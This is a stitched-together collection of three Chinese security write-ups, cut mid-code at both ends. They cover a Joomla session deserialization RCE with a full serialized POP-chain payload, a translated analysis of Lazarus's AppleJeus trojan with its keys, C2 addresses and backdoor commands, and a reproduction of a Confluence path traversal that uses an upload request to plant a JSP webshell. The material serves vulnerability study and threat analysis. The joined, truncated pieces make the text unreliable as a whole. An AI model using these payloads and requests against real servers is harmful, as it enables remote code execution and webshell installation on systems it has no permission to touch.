$status = isset($args[3]) ? (boolean) $args[3] : false;
}
}
// Persist messages if they exist.
if (count($this->_messageQueue))
{
$session = JFactory::getSession();
$session->set('application.queue', $this->_messageQueue);
}
// Hand over processing to the parent now
parent::redirect($url, $status);
}
看着这么长一串实际上这玩意，emmm 啥也没干，因为第一个if,我们只传入了一个变量所以直接跳过,第二个if判断中只设置了一个session变量。
parent::redirect($url, $status);
再次跟入parent::redirect,一长串代码，其实还是什么也没干，在那组合url，到最后执行到了`$this->close();`
而close中的代码为：
public function close($code = 0)
{
exit($code);
}
分析到此处的时候，我不禁陷入了对人生以及社会的大思考当中。tmd到底在哪里写入了session？后来回到刚刚走过的代码再次认真的看了一次后发现，在_start中还有这么个东西：
register_shutdown_function('session_write_close');
可以看下官方给出的定义:
> 注册一个会在php中止时执行的函数
> 简单的来说就是整个php程序的__destract(),在php结束之前均会执行此代码。
然后可以看下write:
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
这里获取的两个参数分别为:cookie中的sessionid以及序列化组合过后的session。
重点看下面这句替换的代码：
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
会将chr(0) . ' _' .
chr(0)替换为\0\0\0,正因为这个机制造成了这次的RCE,chr(0).\_.chr(0)为三个字节长度,但是\0\0\0为6个字节长度。后面的read代码中，将所有的\0\0\0全部替换成了chr(0).*.chr(0)
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
### 实验：
实验代码：
<?php
class a{
public $a;
function __construct()
{
$this->a = chr(0) . '*' . chr(0);
}
}
echo serialize(new a());
?>
输出:
O:1:"a":1:{s:1:"a";s:3:"*";}
实验代码2：
<?php
class a{
public $a;
function __construct()
{
$this->a = '\0\0\0';
}
}
echo str_replace('\0\0\0' , chr(0) . '*' . chr(0),serialize(new a()));
?>
输出:
O:1:"a":1:{s:1:"a";s:6:"*";}
**可以看出将\0替换为了chr(0)后并没有替换长度。**
### payload分析：
此时的payload为:
__default|a:8:{s:15:"session.counter";i:5;s:19:"session.timer.start";i:1570637551;s:18:"session.timer.last";i:1570639080;s:17:"session.timer.now";i:1570639097;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:409:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
然后将\0\0\0替换为特殊字符后:
O:1:"a":1:{s:1:"a";s:1995:"__default|a:8:{s:15:"session.counter";i:5;s:19:"session.timer.start";i:1570637551;s:18:"session.timer.last";i:1570639080;s:17:"session.timer.now";i:1570639097;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"*********";s:8:"password";s:409:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"*a";O:17:"JSimplepieFactory":0:{}s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"*connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"*isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"*_params";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"*_authGroups";N;s:14:"*_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:13:"*userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}";}
其中:
s:54:"*********"
实际占位为27位但是这里却是54位，多出来的27位从后面补入，此时的payload实际上为：
s:54:[*********";s:8:"password";s:409:"AAA]
最后得出真正被反序列化的是：
s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"*a";O:17:"JSimplepieFactory":0:{}s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"*connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"*isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"*_params";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"*_authGroups";N;s:14:"*_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:13:"*userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}";}
而username中的N个\0以及password中的AAA早就被程序逻辑导致的溢出吃的一干二净了。
### POP链分析：
在payload中可以得到目标pop链的入口为:JDatabaseDriverMysqli,我们直接追进去就好了:
public function __destruct()
{
$this->disconnect();
}
跟进disconnect方法：
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
这里的`call_user_func_array($h, array(
&$this));`简直和thinkphp中反序列化pop链那个一模一样，只能控制第一个参数,所以我们需要进行这样调用:
call_user_func_array([$obj,"任意方法"],array( &$this))
到这一步就很简单了，按照pop链的方法来看就在：
/libraries/simplepie/simplepie.php
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
关键点在这:
call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); | 社区文章 |
# AppleJeus行动：Lazarus用虚假安装程序及macOS恶意软件攻击交易所（上）
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/operation-applejeus/87553/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在APT领域，Lazarus（拉撒路）多年以来一直都是较为知名的一个组织。除了网络间谍及网络破坏目标以外，该攻击组织也一直盯着全世界各地的银行及其他金融公司。在过去几个月内，Lazarus已经成功攻陷了多家银行，渗透全球多家加密货币交易所以及金融科技公司。
卡巴斯基实验室一直以来都在参与协助相关事件的协助应急响应。在调查被Lazarus攻击的某个加密货币交易所时，我们意外发现了一个线索。受害者最开始时被带有木马功能的密币交易软件所感染，而该木马借助邮箱传播到目标公司内部。调查结果表明，该公司中一名警惕性不高的员工从一个貌似合法的网站上下载了一个第三方应用，公司也因此感染了Fallchill这款恶意软件，该恶意软件已经有些年头，是Lazarus最近正在使用的一款工具。目前已经有多个报告（比如US-CERT发表的[研究报告](https://www.us-cert.gov/ncas/alerts/TA17-318A)）中提到Fallchill正在重现江湖。
为了确保操作系统不会导致感染失败，攻击者貌似非常努力，专门开发了适配其他操作系统的恶意软件，macOS系统也不例外。根据网站描述，适配Linux的版本也即将出炉，这貌似是我们首次看到该APT组织使用针对macOS的恶意软件。
Lazarus组织已经拓宽了他们可以攻击的操作系统列表，非Windows平台的用户应该对此有所警醒。
## 二、伪装成密币交易应用的木马
卡巴斯基实验室在端点安全软件中部署了恶意行为检测技术，因此我们可以重新组合出感染的各个阶段，并回溯到原始感染源。依靠该功能，我们发现Lazarus的某个受害者在安装了一款密币交易程序后感染了恶意软件，我们还发现用户使用电子邮件中的链接安装了该程序。
### 针对Windows的木马应用
如果直接在待投放的软件中嵌入恶意代码，并将其托管在某个网站上，那这种行为有点太过于明显。此次攻击者采用了较为精细的方案：木马代码以交易应用更新包的方式进行推送。
[Celas网站](https://www.celasllc.com/)上托管了一个Celas Trade
Pro应用，这个应用貌似看上去比较正常，没有恶意行为。该应用是Celas开发的一款一体化密币交易程序。
图1. Celas Trade Pro应用
当我们开始研究此次攻击事件时，任何用户还可以从Celas网站上下载这个交易程序。检查从该网站下载的安装包后，我们确认其中存在一个非常可疑的更新程序。
图2. 安装程序下载页面
我们分析的Windows版的安装包信息如下：
MD5: 9e740241ca2acdc79f30ad2c3f50990a
文件名: celastradepro_win_installer_1.00.00.msi
文件类型: MSI安装包
创建时间: 2018-06-29 01:16:00 UTC
在安装过程的最后阶段，安装程序会立刻以`CheckUpdate`参数运行`Updater.exe`模块。这个文件看起来像个正常的工具，一般不会引起系统管理员的警觉。此外，该文件还包含一个合法的签名，该签名属于同一个厂商。
编写此代码的开发者将工程名命名为“jeus”，我们可以在PDB路径中找到这个信息，另外这个值也被当成HTTP
multipart消息数据的分隔符。正是因为这一点，也因为受影响的操作系统中包括Apple macOS，因此我们将此次攻击活动称为Operation
AppleJeus（AppleJeus行动）。
安装包中的恶意更新工具基本信息如下：
MD5: b054a7382adf6b774b15f52d971f3799
文件类型: MS Windows平台的PE32可执行文件（带GUI界面），Intel 80386架构
已知文件名: %Program Files%CelasTradeProUpdater.exe
链接时间: 2018-06-15 10:56:27 UTC
编译路径: Z:jeusdownloaderdownloader_exe_vs2010Releasedloader.pdb
`Updater.exe`的主要功能是收集受害者主机信息，并将该信息发送回服务器。恶意软件启动后会创建一个特殊字符串，格式为`%09d-%05d`（随机数字），该字符串用来唯一标识被感染的主机。
恶意软件会收集进程列表（不包括系统进程），从注册表`HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion`路径中获取准确的操作系统版本。由于这些值只存在于Windows 10中，因此我们认为开发者可能使用Windows
10来测试这款恶意软件。
ProductName: Windows系统版本
CurrentBuildNumber: Windows 10版本号
ReleaseID: Windows 10版本信息
UBR: Windows 10子版本信息
BuildBranch: Windows 10分支信息
将信息发送给服务器之前，恶意软件会使用硬编码的XOR密钥`Moz&Wie;#t/6T!2y`来加密已收集的信息：
图3. 数据加密过程
恶意软件使用HTTP协议将受害者信息发送给Web服务器，对应的URL为`www.celasllc[.]com/checkupdate.php`。
这个Web服务器是Celass
LLC所属的服务器，看上去似乎非常正常。此时我们没有十足的把握断定该服务器已被攻击者攻陷，或者一开始就直接属于攻击者所有。关于该服务器的更多细节请阅读下文的“基础设施”部分。
恶意软件使用了一个硬编码的User-Agent字符串：`Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
6.1; Trident/6.0)`，`multipart/form-data`所使用的分隔字符串为`jeus`。
虽然使用加密数据以及自定义的分隔字符串，但这并不证明这是恶意行为，因为合法应用也会具备这种特征。但我们发现恶意软件在发送的请求中会使用一个上下文无关的字符串`get_config`，也会将收集到的系统信息伪装成`temp.gif`文件上传，头部中还会模仿GIF图片的magic
number特征，这大大引起了我们的怀疑。
图4. 与C2服务器通信
成功上传数据后，`updater`会检查服务器返回的响应。如果服务器返回HTTP
300响应，则代表`updater`需要保持待命状态。然而，如果返回HTTP
200响应，则会使用base64编码来提取载荷，并使用硬编码的RC4密钥`W29ab[@ad](https://github.com/ad
"@ad")%Df324V$Yd`来解密数据。解密后的数据为可执行文件，前缀为`MAX_PATHjeusD`字符串。
在研究过程中，我们发现还有一些相似的文件。其中一个的创建时间为8月3日，另一个为8月11日。PDB路径表明开发者一直在更新这个`updater`工具，根据内部目录名，这些代码都源自于2018年7月2日发布的稳定版代码。
| 木马样本#1 | 木马样本#2
---|---|---
安装包MD5 | 4126e1f34cf282c354e17587bb6e8da3 | 0bdb652bbe15942e866083f29fb6dd62
安装包创建日期 | 2018-08-03 09:57:29 | 2018-08-13 0:12:10
updater工具MD5 | ffae703a1e327380d85880b9037a0aeb |
bbbcf6da5a4c352e8846bf91c3358d5c
updater创建日期 | 2018-08-03 09:50:08 | 2018-08-11 7:28:08
updater编译路径 |
H:DEVTManagerDLoader20180702dloaderWorkingDirOutput0000009Releasedloader.pdb |
H:DEVTManagerDLoader20180702dloaderWorkingDirOutput0000006Releasedloader.pdb
上表中需要注意PDB路径中的`TManager`目录，我们还可以在另一个地方看到这个字符串的踪影。
### 针对macOS的木马应用
对于macOS用户，Celas
LLC同样提供了一个原生版的交易应用。安装过程中后台会安装一个`autoupdater`模块，并在安装完毕后立刻运行，每次系统重启时也会自动运行。该模块持续与命令控制（C2）服务器通信，下载并运行服务器派发的其他可执行文件。通信特征与Windows版的`updater`相匹配，上传和下载的数据会伪装成一个图像文件，内部包含经过加密的数据。
我们分析的安装文件样本信息如下：
MD5: 48ded52752de9f9b73c6bf9ae81cb429
文件大小: 15,020,544字节
文件类型: DMG磁盘映像
已知文件名: celastradepro_mac_installer_1.00.00.dmg
创建日期: 2018年7月13日
Cellas Trade
Pro应用一旦安装到macOS系统中，就会在系统启动时利用名为`.com.celastradepro.plist`的一个文件启动`Updater`应用（文件名第一个字母为`.`，这样Finder以及默认的Terminal目录中就不能直接看到该文件）。在启动时，`Updater`文件使用了的参数为`CheckUpdate`。
图5. Celas Trade Pro应用的plist（Apple Property List）文件
从代码分析的角度来看，`CheckUpdate`这个命令行参数貌似有点多余，因为应用程序并不接受其他任何参数。在没有输入任何参数的情况下，恶意软件不会执行任何操作，直接退出。沙盒可能会自动执行这个`Updater`木马，因此这有可能是欺骗沙盒的一个技巧，没有使用这个“秘密”参数就不会看到任何可疑行为。`CheckUpdate`之类的字符串看上去比较无害，选择这个字符串可以避免引起正在观察当前进程的用户或者管理员的警觉。
该版本的`updater`木马工具在很多方面与Windows版相似。这两个应用程序都使用跨平台的QT框架来实现。下载器在启动后会针对当前主机创建一个唯一的标识符，标识符格式为`%09d-%06d`。接下来应用会收集基本的系统信息，macOS系统上通过专用的QT类来完成该任务，收集的信息包括：
> 主机名
>
> 操作系统类型和版本
>
> 系统架构
>
> 操作系统内核类型和版本
该版本木马在加密和数据传输方面与Windows版完全相同。数据经过XOR加密处理，密钥为硬编码的16字节静态密钥：`Moz&Wie;#t/6T!2y`，前缀为GIF89a头部，通过HTTP
POST请求上传到C2服务器上，所使用的URL地址为：
https://www.celasllc[.]com/checkupdate.php
图6. POST请求模板字符串
macOS版的模块使用了一个硬编码的User-Agent字符串：`User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139
Safari/537.36`。
收到系统回复后，木马会检查服务器返回的HTTP响应代码。HTTP
300代码表明服务器没有为`updater`分配任务，应用会立即结束运行。如果HTTP相应代码为200，则`updater`会提取响应包中的数据，base64解码然后使用硬编码的RC4密钥`W29ab[@ad](https://github.com/ad
"@ad")%Df324V$Yd`解密数据。木马会计算解码后数据的MD5值，将该值与数据内部存储的值进行对比，以验证传输文件的完整性。随后，木马提取载荷并将其保存到一个固定位置：`/var/zdiffsec`，为所有用户都设置可执行权限，然后以硬编码的命令行参数`bf6a0c760cc642`启动载荷。显然，木马使用这种命令行参数来避免沙盒或者逆向分析技术检测到载荷的恶意行为。Lazarus组织在2016年攻击银行时也曾使用这种技术手段，到2018年，我们在调查与其有关的所有攻击活动中基本上还是都能看到这种技巧。
## 三、下载的载荷
根据卡巴斯基安全网络的分析数据，攻击者使用了前文描述的`updater`程序来下载恶意载荷。我们在同一个主机上发现了新创建的一个恶意文件，基本信息如下：
MD5: 0a15a33844c9df11f12a4889ae7b7e4b
文件大小: 104,898,560字节
文件类型: MS Windows平台的PE32+可执行文件（带GUI界面），x86-64架构
已知文件名: C:Recoverymsn.exe
链接时间: 2018-04-19 13:30:19
请注意这个可执行文件的大小。我们认为该文件中填充了大量垃圾数据，避免在互联网上快速下载或传输。
在研究这个恶意软件为什么会出系统中时，我们发现在启动这款恶意软件之前，系统上有一个进程会负责生成多个文件，这表明系统上有一个木马释放器（dropper）正在运行。这款恶意软件的主要功能是在系统上植入链接到多个文件的Fallchill后门。恶意软件在启动时会检查传入的一些命令行参数，恶意软件会从注册表的`HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost\netsvcs`路径中选择一个服务名称来伪装自己，这个注册表表项中包含几十个标准系统服务名称。
恶意软件会随机选择一个服务名，以该名称作为释放出文件的文件名并注册对应的Windows服务。为便于分析，下文我们将这个服务名称为`[service]`。恶意软件内部引用多个文件，具体如下：
以参数形式传入的文件: 包含一个16字节密钥
msncf.dat: 经过加密的配置数据
msndll.tmp: 经过加密的Fallchill加载器
msndll.dat: 经过加密的Fallchill后门（加载器的载荷）
[service]svc.dll: Fallchill后门加载器
[service].dat: msndll.dat的副本
上述几个文件会生成最终的Fallchill后门，详细的过程如下所示：
1、 检查命令行参数是否指向16字节大小的一个文件；
2、读取命令行传入的文件。该文件内容包含一个加密密钥，我们称之为主密钥；
3、打开`msncf.dat`文件（配置文件）。如果文件大小等于192字节，则读取文件的内容；
4、打开`msndll.tmp`文件，使用主密钥进行解密；
5、创建`[service]svc.dll`文件，使用伪随机数填充文件内容。恶意软件使用10,240字节伪随机数据填充该文件，并且迭代循环`(rand()%10
+ 10240)`次。这也是为什么生成的文件大小至少为104,851,000字节；
6、将16字节的主密钥拷贝到`[service]svc.dll`文件的末尾；
7、使用主密钥加密`[service].dat`文件名，并将其拼接到`[service]svc.dll`的末尾；
8、将解密后的`msndll.tmp`覆盖到`[service].dat`文件的开头处；
9、移动`msndll.dat`文件为`[service].dat`；
10、删除`msndll.tmp`、`msncf.dat`以及`msndll.log`临时文件；
11、为`[service]svc.dll`以及`[service.dat]`文件打上时间戳；
12、将`[service]svc.dll`注册为Windows服务；
13、将`msncf.dat`文件中的数据复制一份保存到注册表的`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskConfigs\Description`键值中。
图7. 感染流程示意图
### Fallchill后门加载器
我们已确认攻击者使用如上步骤在目标主机上创建了如下恶意软件，具体信息分别如下：
1、Fallchill后门加载器：
MD5: e1ed584a672cab33af29114576ad6cce
文件大小: 104,878,356字节
文件类型: PE32+可执行文件（DLL）（控制台模式），x86-64架构，MS Windows平台
已知文件名: C:Windowssystem32uploadmgrsvc.dll
链接时间: 2018-01-18 01:56:32
2、经过加密的Fallchill后门：
MD5: d8484469587756ce0d10a09027044808
文件大小: 143,872字节
文件类型: 加密数据
已知文件名: C:Windowssystem32uploadmgr.dat
在启动时，`uploadmgrsvc.dll`会读取自身可执行文件末尾处的276个字节数据，其中前16个字节作为加密密钥来使用，剩余的260个字节包含后门所使用的加密文件路径。
图8. 加载器文件末尾的数据结构
解密末尾的260个字节后，恶意软件会提取出包含真正后门数据的文件名或文件路径，该文件包含的数据经过加密处理。
图9. 加载器模块末尾解密后的文件名
恶意软件读取这个文件，使用同样的加解密方法解密文件内容。这也是加载器如何在内存中加载并执行后门代码的具体方式。内存中经过解密的最终载荷的元信息如下所示：
MD5: d7089e6bc8bd137a7241a7ad297f975d
文件大小: 143,872字节
文件类型: PE32+可执行文件（DLL）（GUI模式），x86-64架构，MS Windows平台
链接时间: 2018-03-16 07:15:31
我们将Fallchill后门的加载过程总结如下：
图10. Fallchill后门加载过程
前面提到过，最终载荷属于Lazarus
APT组织曾经使用过的Fallchill恶意软件家族。在启动时，恶意软件会在运行时解析API函数地址，从安装过程中创建的注册表路径（`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskConfigs\Description`）中读取C2服务器地址。
如果该路径中不包含任何配置信息，则恶意软件会使用默认的C2服务器地址：
196.38.48[.]121
185.142.236[.]226
这是一个全功能版本的后门，包含足够多的函数来完全控制被感染的主机。木马的部分网络协议命令如下所示：
命令ID | 描述
---|---
0x8000 | 将当前时间及配置数据写入注册表
0x8001 | 发送配置数据
0x8002 | 替换特定注册表键值中的配置数据
0x8003 | 执行Windows命令，将结果存储在临时文件中并上传至C2服务器
0x8006 | 显示当前的工作目录
0x8007 | 修改当前的工作目录
0x8008 | 收集进程信息
0x8009 | 结束进程
0x8010 | 启动新进程
0x8011 | 以当前用户的安全上下文创建进程
0x8012 | 连接特定的主机/端口
0x8013 | 获取磁盘信息
0x8014 | 罗列目录
0x8015 | 搜索文件
0x8019 | 将数据写入特定文件中
0x8020 | 读取特定文件的内容并上传到C2服务器
0x8021 | 将多个文件压缩成一个临时文件（文件名以ZD开头）并上传到C2服务器
0x8023 | 擦除特定文件
0x8025 | 复制另一个文件的时间信息（时间戳）
0x8026 | 关闭恶意软件服务并自销毁
0x8043 | 将“Not Service” unicode字符串发送给C2服务器（可能是用来测试通信）
这些功能对Lazarus的许多后门来说非常正常，在过去几年内针对银行以及金融行业的攻击事件中我们已经看到过类似的功能。 | 社区文章 |
## 漏洞描述：
Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。
在Page或Blogs具有添加附件权限的用户，或具有创建新空间或个人空间权限的用户，或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。
## 影响版本：
2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
## 修复版本：
6.6.13
6.12.4
6.13.4
6.14.3
6.15.2
## 修复建议：
升级到修复版本。
## 缓解措施：
若无法升级，可采取以下临时缓解措施：
1、关闭Confluence；
2、编辑`<Confluence的部署目录>/conf/server.xml`
3、将以下代码加到<host>下面</host>
<Context path="/pages/downloadallattachments.action" docBase="" >
<Valapp className="org.apache.catalina.valapps.RemoteAddrValapp" deny="*" />
</Context>
4、保存文件，重启Confluence。
缓解措施是否生效验证方法：
访问含有2个或以上附件的页面/博客，点击`...`=》`附件`=》`下载全部`
若返回404页面，则说明缓解措施已生效。但是缓解措施禁用了`下载全部附件`的功能。
## Demo
参考：
* <https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html>
* <https://jira.atlassian.com/browse/CONFSERVER-58102>
## 0x00 环境搭建
下载`confluence-6.13.0`用于复现。
$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.0.tar.gz
$ tar zxf atlassian-confluence-6.13.0.tar.gz
$ cd atlassian-confluence-6.13.0
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目录，这里我设置为
#confluence.home=/Users/xxx/confluenceHome，到时候附件和临时zip文件都是存放在这个路径下的
$ bin/start-confluence.sh
## 0x01 漏洞复现
首先根据官方描述，`downloadallattachments`这个资源，结合其验证缓解措施的方式，找到了漏洞触发点：
... =》附件=》下载全部
点击`下载全部`时，会触发一个GET请求：
GET /pages/downloadallattachments.action?pageId=65601
然后响应
Location: /download/temp/downloadi120q121507.zip?contentType=application/zip
而且每次发出`downloadallattachments.action`请求，其响应的Location路径的zip文件名都不一样，发现原来是服务端每收到一次downloadallattachments.action请求，就会在`download/temp/`目录下生成一个zip文件：
搜索了一下，发现这个文件是在/Users/xxx/confluenceHome，也就是confluence的安装目录下。
cqq@ubuntu:~$ find .|grep download45lL6115220.zip
./confluenceHome/temp/download45lL6115220.zip
然后看到这个目录下还有一个attachments目录，为了验证这就是附件上传的目录，
于是，新建了一个页面，上传了几个文本文件，通过cat出来的内容与上传的内容匹配，判定这个就是上传的附件被存放的目录，但是这个目录下的文件名被重命名了。既然官方说是路径穿越漏洞，就得找到文件名或者文件路径的输入点。在这里上传文件的过程中抓一下包，发现有两个参数是文件名/文件路径相关的，`filename`和`name`，经过测试发现漏洞点参数是`filename`。
## 0x02 漏洞调试
通过一番`grep -rn xxx *`的查找，发现需要两步来完成对路径穿越的利用。
1、`POST /plugins/drag-and-drop/upload.action?pageId=65601&filename=../../../../../../Users/xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cqq2.jsp&size=754&minorEdit=true&spaceKey=ADMIN&mimeType=application%2Foctet-stream&atl_token=47ae1afbc53f1ed100a4c36053de2d754d48ffeb&contentType=page&isVFMSupported=true&name=cqq2.jsp`
先将webshell上传上去，其内容会出现在confluence的安装目录，即/Users/xxx/confluenceHome。注意上传的时候的`size`参数需与`Content-Length`值保持一致，服务端会对这个做校验，若发现不一致，则会导致500。
在UploadAction#execute下断点
confluence/WEB-INF/atlassian-bundled-plugins/confluence-drag-and-drop-6.13.0.jar!/com/atlassian/confluence/plugins/dragdrop/UploadAction.class
通过
InputStream inStream = this.getStreamForEncoding(this.httpServletRequest);
this.fileUploadManager.storeResource(new InputStreamAttachmentResource(inStream, this.filename, this.mimeType, this.size, (String)null, this.minorEdit), (ContentEntityObject)content);
将POST的内容写入到缓存文件中：`attachments/ver003//56/98/98306/101/65/65601/917509/1`，
`filename`值没有对`../`进行过滤。
上传完成之后，打开“全部附件”页面，会出现我们刚刚上传上去的文件，其文件名没有对`../`进行过滤。
2、`GET /pages/downloadallattachments.action?pageId=65601`
然后通过这个GET请求，触发将缓存的webshell内容写入指定的路径操作。
在DownloadAllAttachmentsOnPageAction#execute下断点
confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class
文件内容：
public String execute() throws Exception {
